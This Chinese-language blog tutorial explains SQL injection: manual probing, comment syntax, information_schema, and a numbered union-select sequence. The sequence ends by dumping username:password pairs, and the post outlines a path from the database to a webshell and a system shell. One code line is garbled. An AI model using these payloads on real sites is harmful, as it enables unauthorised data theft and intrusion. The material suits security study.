计算机管理系统:电脑网络技术记录本

SQL注入

当前位置:首页 > 安全渗透 > SQL注入

web安全渗透之SQL注入基本语法和流程

web安全渗透之SQL注入基本语法和流程

sql注入的原理


SQL 注入就是指 web 应用程序对用户输入的数据合法性没有过滤或者是判断,前端传入的参数是攻击者可以控制,并且参数带入数据库的查询,攻击者可以通过构造恶意的 sql 语句来实现对数据库的任意操作。


拿到一个网站,哪个地方存在sql注入漏洞呢?


跟数据库有交互的地方。


信息收集:


敏感目录及文件

御剑后台

dirbuster

url地址:

http://192.168.1.1/grade/query.php?user=3

协议://ip或域名:端口/目录/文件.后缀?参数名=值


payload:攻击载荷/exp (恶意语法)


name= name=name=_GET[‘user’];

$query=select id from admins where name=’ %df’or%df’1%df’=%df’1 ';


工具扫描器和手工的区别


工具效率高,但是容易误报

手工效率低,但是更加深入(技术有关)

sql注入漏洞类型三种:


数值型

字符型

搜索型


手工对sql注入漏洞探测方法

  报错

and 1=1 正常

and 1=2 异常

可以判断一定存在sql注入漏洞,且注入漏洞类型为数组型


当输入 and 1=1 和and 1=2 都正常,可以判断注入类型为字符型。

字符型的payload构造方法:


’ 报错

’ and 1=1 --+ 正常

’ and 1=2 --+ 异常


数据库的注释:

--空格


内联注释:/* */

强制内联:/*! */

在url中,#和空格通过url编码,%23表示注释 %20空格, +来代替空格


数据库的函数:


database()函数:当前数据库名

user():当前用户

version():函数

联合注入攻击爆思路

爆库–拿数据(管理员)–找网站后台–登录—上传—webshell–拿系统shell


sql —os-shell


mysql5.0以上版本有一个内置数据库,information_schema 保存了当前服务器上所有的库名、表名、字段名等信息,及其他内置信息


schemata 表: schema_name字段:保存了所有的数据库名。


tables表:table_schema 字段保存了所有的库名,table_name 字段保存了所有的表名。


columns表:table_schema 字段保存了所有的库名,table_name 字段保存了所有的表名 column_name 保存所有的字段。


limit 0,1: 0是开始,1是一位


group_concat()函数,组合函数


0x3a 代表 :


0x3b 代表 ;


联合注入攻击注入方法


1,判断注入点


2,判断数据库表的字段数


order by 1-99 (判断字段数)


3,判断输出的位置


union select 1,2,3,4,5,6


4,爆库名


union select 1,database(),3,4,5,6


5,爆表名


union select 1,(select table_name from information_schema.tables where table_schema='test' limit 0,1 ),3,4,5,6


或:


union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='test'),3,4,5,6


6,爆字段名

union select 1,(select group_concat(column_name) from information_schema.columns where table_schema='test' and table_name='users'),3,4,5,6


7,爆数据

union select 1,(select group_concat(username,0x3a,password) from test.users),3,4,5,6

文章评论

表情

共 0 条评论,查看全部
  • 这篇文章还没有收到评论,赶紧来抢沙发吧~